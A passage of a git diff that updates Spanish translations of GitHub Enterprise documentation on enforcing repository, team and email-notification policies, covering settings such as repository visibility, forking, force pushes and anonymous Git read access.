+Puedes requerir políticas para controlar la forma en la que los miembros de tu empresa de {% data variables.product.product_name %} administran repositorios. También puedes permitir que los propietarios de las organizaciones administren las políticas para la administración de repositorios. Para obtener más información, consulta las secciones "[Crear y administrar repositorios](/repositories/creating-and-managing-repositories) y "[Organizaciones y equipos](/organizations)".
 
 {% ifversion ghes or ghae %}
 
-## Configuring the default visibility of new repositories
+## Configurar la visibilidad predeterminada de los repositorios nuevos
 
-Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Cada vez que alguien crea un repositorio nuevo dentro de tu empresa, esta persona debe elegir la visibilidad del mismo. Cuando configuras una visibilidad predeterminada para la empresa, eliges qué vsibilidad se seleccina predeterminadamente. Para obtener más información sobre la visibilidad de los repositorios, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+Si un propietario de empresa deja de permitir que los miembros de ésta creen ciertos tipos de repositorios, estos no podrán crear este tipo de repositorio aún si la configuración de visibilidad lo tiene como predeterminado. Para obtener más información, consulta la sección "[Configurar una política para la creación de repositorios](#setting-a-policy-for-repository-creation)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -66,142 +65,133 @@ If an enterprise owner disallows members from creating certain types of reposito
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Default repository visibility", use the drop-down menu and select a default visibility.
-  ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
+1. Debajo de "Default repository visibility" (visibilidad predeterminada del repositorio), utiliza el menú desplegable y selecciona un tipo de visibilidad predeterminado. ![Menú desplegable para elegir la visibilidad predeterminada de los repositorios para tu empresa](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
 
 {% data reusables.enterprise_installation.image-urls-viewable-warning %}
 
 {% endif %}
 
-## Enforcing a policy for {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permissions
+## Requerir una política para los permisos {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}predeterminados{% endif %} del repositorio
 
-Across all organizations owned by your enterprise, you can set a {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}default{% endif %} repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level.
+En todas las organizaciones que pertenezcan a tu empresa, puedes configurar un nivel de permisos {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}predeterminado{% endif %} de los repositorios (ninguno, lectura, escritura o administración) para los miembros organizacionales o permitir que los propietarios administren el ajuste a nivel de organización.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-4. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "{% ifversion ghec or ghes > 3.1 or ghae %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy.
+4. Debajo de "permisos {% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}predeterminados{% endif %}", revisa la información sobre cómo cambiar el ajuste. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Debajo de "Permisos{% ifversion ghec or ghes > 3.1 or ghae %}base{% else %}predeterminados{% endif %}", utiliza el menú desplegable y elige una política.
   {% ifversion ghec or ghes > 3.1 or ghae %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
+  ![Menú desplegable con opciones de políticas de permisos de repositorios](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png)
   {% else %}
-  ![Drop-down menu with repository permissions policy options](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)  
+  ![Menú desplegable con opciones de políticas de permisos de repositorios](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png)
   {% endif %}
 
-## Enforcing a policy for repository creation
+## Requerir una política para la creación de repositorios
 
-Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. If you allow members to create repositories, you can choose whether members can create any combination of public, private, and internal repositories. {% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)."
+En todas las organizaciones que le pertenecen a tu empresa, puedes permitir que los miembros creen repositorios, restringir la creación de repositorios para los propietarios de la organización o permitir que los propietarios administren los ajustes en el nivel de la organización. Si permites que los miembros creen repositorios, puedes decidir si pueden crear cualquier combinación de repositorios públicos, privados e internos. {% data reusables.repositories.internal-repo-default %} Para obtener más información acerca de los repositorios internos, consulta "[Crear un repositorio interno](/articles/creating-an-internal-repository)".
 
 {% data reusables.organizations.repo-creation-constants %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. En "Creación de repositorio", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.repo-creation-policy %}
 {% data reusables.enterprise-accounts.repo-creation-types %}
 {% else %}
-6. Under "Repository creation", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository creation policies](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
+6. En "Creación de repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con políticas para creación de repositorio](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png)
 {% endif %}
 
-## Enforcing a policy for forking private or internal repositories
+## Requerir una política para bifurcar repositorios privados o internos
 
-Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level.
+En todas las organizaciones que pertenezcan a tu empresa, puedes permitir o prohibir la bifurcación de un repositorio privado o interno o permitir a los propietarios administrar la configuración a nivel organizacional para todos los que tengan acceso a éstos.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-3. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository forking", use the drop-down menu and choose a policy.
-  ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
-  
-## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories
+3. Debajo de "Bifurcación de repositorios", revisa la información sobre cómo cambiar el ajuste. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. En "Bifurcación de repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de bifurcación de repositorios](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png)
 
-Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, or allow owners to administer the setting on the organization level.
+## Requerir una política para invitar colaboradores{% ifversion ghec %} externos{% endif %} a los repositorios
+
+En todas las organizaciones que pertenezcan a tu empresa, puedes permitir que los miembros inviten colaboradores{% ifversion ghec %} externos{% endif %} a los repositorios, restrinjan invitaciones de {% ifversion ghec %}colaboradores externos {% endif %}a los propietarios de la organización o permitan que los propietarios administren el ajuste a nivel organizacional.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy.
+3. Debajo de "{% ifversion ghec %}Colaboradores externos{% elsif ghes or ghae %}Invitaciones{% endif %} de repositorio", revisa la información sobre cómo cambiar el ajuste. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. Debajo de "{% ifversion ghec %}Colaboradores externos{% elsif ghes or ghae %}Invitaciones{% endif %} de repositorio", utiliza el menú desplegable y elige una política.
   {% ifversion ghec %}
-  ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
+  ![Menú desplegable con opciones de políticas de invitación de colaboradores externos](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png)
   {% elsif ghes or ghae %}
-  ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)  
+  ![Menú desplegable con opciones de política de invitación](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png)
   {% endif %}
-  
+
 {% ifversion ghec or ghes or ghae %}
 
-## Enforcing a policy for the default branch name
+## Requerir una política para el nombre de rama predeterminada
 
-Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one.
+Puedes configurar el nombre de rama predeterminada para cualquier repositorio miembro que creen los miembros en todas las organizaciones que pertenezcan a tu empresa. Puedes elegir el requerir un nombre de rama predeterminado a través de todas las organizaciones o permitir a algunas configurar un nombre diferente.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use.
-    ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png)
-4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**.
-    ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png)
-5. Click **Update**.
-    ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png)
+3. En la pestaña de **Políticas de los repositorios**, debajo de "Nombre de la rama predeterminada", ingresa el nombre de rama predeterminada que deberán utilizar los repositorios nuevos. ![Caja de texto para ingresar un nombre de rama predeterminado](/assets/images/help/business-accounts/default-branch-name-text.png)
+4. Opcionalmente, para requerir el nombre de rama predeterminado para todas las organizaciones en la empresa, selecciona **Requerir en toda la empresa**. ![Casilla de requerir](/assets/images/help/business-accounts/default-branch-name-enforce.png)
+5. Da clic en **Actualizar**. ![Botón de actualizar](/assets/images/help/business-accounts/default-branch-name-update.png)
 
 {% endif %}
 
-## Enforcing a policy for changes to repository visibility
+## Requerir una política para los cambios a la visibilidad del repositorio
 
-Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository.
+En todas las organizaciones que pertenezcan a tu empresa, puedes permitir que los miembros con acceso administrativo cambien la visibilidad de un repositorio, restrinjan los cambios de visibilidad del mismo a los propietarios de la organización o que permitan que los propietarios administren el ajuste a nivel organizacional. Cuando no permites que los miembros cambien la visibilidad del repositroio, únicamente los propietarios de la empresa podrán hacerlo.
 
-If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+Si un propietario de empresa restringió la creación de repositorios en la misma para que solo los propietarios puedan realizar esta operación, entonces los miembros no podrán cambiar la visibilidad de los repositorios. Si un propietario de una empresa restringe la creación de repositorios para que los miembros solo puedan crear repositorios privados, entonces éstos solo podrán cambiar la visibilidad de un repositorio a privada. Para obtener más información, consulta la sección "[Configurar una política para la creación de repositorios](#setting-a-policy-for-repository-creation)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. En "Modificar visibilidad del repositorio", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-visibility-policy %}
 
-## Enforcing a policy for repository deletion and transfer
+## Requerir una política para el borrado y transferencia de repositorios
 
-Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level.
+En todas las organizaciones que son propiedad de tu empresa, puedes permitir que los miembros con permisos de administrador eliminen o transfieran un repositorio, puedes restringir la eliminación o la transferencia de repositorios a los propietarios de la organización o permitir que los propietarios administren los parámetros de configuración a nivel de la organización.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. En "Transferencia y eliminación de repositorios", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-deletion-policy %}
 
-## Enforcing a policy for deleting issues
+## Requerir una política para borrar propuestas
 
-Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level.
+En todas las organizaciones que pertenezcan a tu empresa, puedes permitir que los miembros con acceso administrativo borren propuestas en un repositorio, restrinjan el borrado de propuestas para solo los propietarios de organizaciones o permitan que los propietarios administren el ajuste a nivel organizacional.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository issue deletion", use the drop-down menu and choose a policy.
-  ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
+3. En la pestaña **Políticas de repositorios**, en "Eliminación de propuestas en los repositorios", revisa la información acerca de los cambios en la configuración. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. En "Eliminación de propuestas en los repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de eliminación de propuestas](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
 
 {% ifversion ghes or ghae %}
 
-## Enforcing a policy for Git push limits
+## Requerir una política para los límites de subida de Git
 
-To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise.
+Para que el tamaño de tu repositorio se mantenga en una cantidad administrable y puedas prevenir los problemas de rendimiento, puedes configurar un límite de tamaño de archivo para los repositorios de tu empresa.
 
-By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB.
+Cuando impones límites de carga a los repositorios, la configuración predeterminada no permite a los usuarios añadir o actualizar archivos mayores a 100 MB.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Repository upload limit", use the drop-down menu and click a maximum object size.
-![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
-5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories**
-![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
+4. Dentro de "Repository upload limit (Límite de subida del repositorio)", utiliza el menú desplegable y haz clic en un tamaño máximo de objeto. ![Menú desplegable con opciones de tamaño máximo de objeto](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
+5. Opcionalmente, para requerir un límite de carga máximo para todos los repositorios en tu empresa, selecciona **Requerir en todos los repositorios** ![Opción para imponer tamaño máximo de objetos en todos los repositorios](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
 
-## Configuring the merge conflict editor for pull requests between repositories
+## Configurar el editor de fusión de conflictos para solicitudes de extracción entre repositorios
 
-Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork.
+Solicitarles a los usuarios que resuelvan los conflictos de fusión en forma local desde sus computadoras puede evitar que las personas escriban inadvertidamente un repositorio ascendente desde una bifurcación.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -210,23 +200,21 @@ Requiring users to resolve merge conflicts locally on their computer can prevent
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**.
- ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png)
+1. En "Editor de conflicto para las solicitudes de extracción entre repositorios", usa el menú desplegable y haz clic en **Disabled** (Inhabilitado). ![Menú desplegable con opción para inhabilitar el editor de conflicto de fusión](/assets/images/enterprise/settings/conflict-editor-settings.png)
 
-## Configuring force pushes
+## Configurar las cargas forzadas
 
-Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization.
+Cada repositorio hereda un ajuste de subida forzada predeterminado desde los ajustes de la cuenta de usuario o de la organización a la que pertenece dicho repositorio. Cada organización y cuenta de usuario hereda un ajuste de subida forzada predeterminado desde el ajuste de subida forzada para la empresa. Si cambias el ajuste de subida forzada de la empresa, la política aplicará a todos los repositorios que pertenecen a cualquier organización o usuario.
 
-### Blocking force pushes to all repositories
+### Bloquear las subidas forzadas en todos los repositorios
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**.
-![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
-5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes.
+4. Debajo de "Force pushes" (Empujes forzados), usa el menú desplegable y haz clic en **Allow** (Permitir), **Block** (Bloquear) o **Block to the default branch** (Bloquear en la rama predeterminada). ![Forzar empujes desplegables](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
+5. Opcionalmente, selecciona **Enforce on all repositories** (Implementar en todos los repositorios) que sobrescribirán las configuraciones a nivel de la organización y del repositorio para los empujes forzados.
 
-### Blocking force pushes to a specific repository
+### Bloquear las cargas forzadas para un repositorio específico
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
@@ -236,14 +224,13 @@ Each repository inherits a default force push setting from the settings of the u
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-4. Select **Block** or **Block to the default branch** under **Push and Pull**.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
+4. Selecciona **Block** (Bloquear) o **Block to the default branch** (Bloquear en la rama predeterminada) debajo de **Push and Pull** (Subir y extraer). ![Bloquear empujes forzados](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
 
-### Blocking force pushes to repositories owned by a user account or organization
+### Bloquear empujes forzados a los repositorios que posee una cuenta de usuario u organización
 
-Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise.
+Los repositorios heredan los parámetros de los empujes forzados de la cuenta de usuario u organización a la que pertenecen. Las cuentas de usuario y las organizaciones a su vez heredan su configuración de subidas forzadas de aquella de la empresa.
 
-You can override the default inherited settings by configuring the settings for a user account or organization.
+Puedes sustituir los parámetros predeterminados heredados al configurar los parámetros para una cuenta de usuario u organización.
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -251,32 +238,30 @@ You can override the default inherited settings by configuring the settings for
 {% data reusables.enterprise_site_admin_settings.click-user-or-org %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "Repository default settings" in the "Force pushes" section, select
-    - **Block** to block force pushes to all branches.
-    - **Block to the default branch** to only block force pushes to the default branch.
-  ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
-6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
+5. En "Parámetros predeterminados del repositorio" en la sección "Empujes forzados", selecciona
+    - **Block** (Bloquear) para bloquear los empujes forzados en todas las ramas.
+    - **Block to the default branch** (Bloquear en la rama por defecto) para bloquear solo los empujes forzados en la rama por defecto. ![Bloquear empujes forzados](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
+6. Opcionalmente, selecciona **Enforce on all repositories** (Implementar en todos los repositorios) para sustituir los parámetros específicos del repositorio. Nota que esto **no** anulará alguna política válida en toda la empresa. ![Bloquear empujes forzados](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
 
 {% endif %}
 
 {% ifversion ghes %}
 
-## Configuring anonymous Git read access
+## Configurar el acceso de lectura anónimo de Git
 
 {% data reusables.enterprise_user_management.disclaimer-for-git-read-access %}
 
-{% ifversion ghes %}If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) on your enterprise, you {% else %}You {% endif %}can allow repository administrators to enable anonymous Git read access to public repositories.
+{% ifversion ghes %}Si [habilitaste el modo privado](/enterprise/admin/configuration/enabling-private-mode) en tu empresa, puedes {% else %}Puedes {% endif %}permitir a los administradores de repositorio habilitar el acceso de lectura de Git a los repositorios públicos.
 
-Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication.
+Habilitar el acceso anónimo de lectura de Git permite a los usuarios saltar la autenticación para las herramientas personalizadas en tu empresa. Cuando tú o un administrador de repositorio activan esta configuración de acceso a un repositorio, las operaciones Git no autenticadas (y cualquiera con acceso de red a {% data variables.product.product_name %}) tendrán acceso de lectura al repositorio sin autenticación.
 
-If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting.
+De ser necesario, puedes prevenir que los administradores de repositorio cambien la configuración de acceso anónimo de Git para los repositorios de tu empresa si bloqueas la configuración de acceso de los mismos. Una vez que bloqueas los parámetros de acceso de lectura Git de un repositorio, solo un administrador del sitio puede modificar los parámetros.
 
 {% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %}
 
 {% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %}
 
-### Setting anonymous Git read access for all repositories
+### Configurar el acceso de lectura anónimo de Git para todos los repositorios
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -285,23 +270,18 @@ If necessary, you can prevent repository administrators from changing anonymous
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**.
-![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
-3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
+4. En "Acceso de lectura Git anónimo", usa el menú desplegable y haz clic en **Activado**. ![Menú desplegable de acceso de lectura Git anónimo que muestra las opciones de menú "Habilitado" e "Inhabilitado"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
+3. Opcionalmente, para prevenir que los administradores de repositorio cambien la configuración del acceso de lectura anónimo de Git en todos los repositorios de tu empresa, selecciona **Prevenir que los administradores de los repositorios cambien el acceso de lectura anónimo de Git**. ![Casilla de verificación seleccionada para prevenir que los administradores de los repositorios cambien la configuración de acceso de lectura anónimo de Git para todos los repositorios de tu empresa](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
 
-### Setting anonymous Git read access for a specific repository
+### Configurar el acceso de lectura anónimo de Git para un repositorio específico
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.repository-search %}
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**.
-!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
-7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.**
-![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
-8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
+6. En "Zona de peligro", al lado de "Activar el acceso de lectura Git anónimo", haz clic en **Activar**. ![Botón "Activado" en "Activar el acceso de lectura Git anónimo" en la zona de peligro de los parámetros de administración del sitio de un repositorio ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
+7. Revisa los cambios. Para confirmar, haz clic en **Sí, habilitar el acceso de lectura Git anónimo.** ![Confirma la configuración de acceso de lectura Git anónimo en la ventana emergente](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
+8. Opcionalmente, para impedir que los administradores de repositorio modifiquen estos parámetros para este repositorio, selecciona **Impedir que los administradores de repositorio modifiquen el acceso de lectura Git anónimo**. ![Selecciona la casilla de verificación para evitar que los administradores del repositorio cambien el acceso de lectura Git anónimo para este repositorio](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
 
 {% endif %}
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
index 179e203f6b..18381361ee 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
@@ -2,10 +2,9 @@
 title: Enforcing team policies in your enterprise
 intro: 'You can enforce policies for teams in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for teams in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
-  - /articles/enforcing-team-settings-for-organizations-in-your-business-account/
-  - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account/
+  - /articles/enforcing-team-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account
   - /articles/enforcing-team-policies-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/enforcing-team-policies-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/enforcing-team-policies-in-your-enterprise-account
diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
index d0ce79dc0e..9e02b798f1 100644
--- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting email notifications for your enterprise
-intro: You can prevent your enterprise's information from leaking into personal email accounts by restricting the domains where members can receive email notifications about activity in organizations owned by your enterprise.
+title: Restringir las notificaciones por correo electrónico para tu empresa
+intro: Puedes prevenir las fugas de información de tu empresa hacia cuentas de correo electrónico personales si restringes los dominos en los cuales los miembros pueden recibir notificaciones por correo electrónico sobre la actividad en las organizaciones que pertenecen a tu empresa.
 product: '{% data reusables.gated-features.restrict-email-domain %}'
 versions:
   ghec: '*'
@@ -17,27 +17,27 @@ redirect_from:
   - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account-to-approved-domains
   - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/restricting-email-notifications-for-your-enterprise-account
-shortTitle: Restrict email notifications
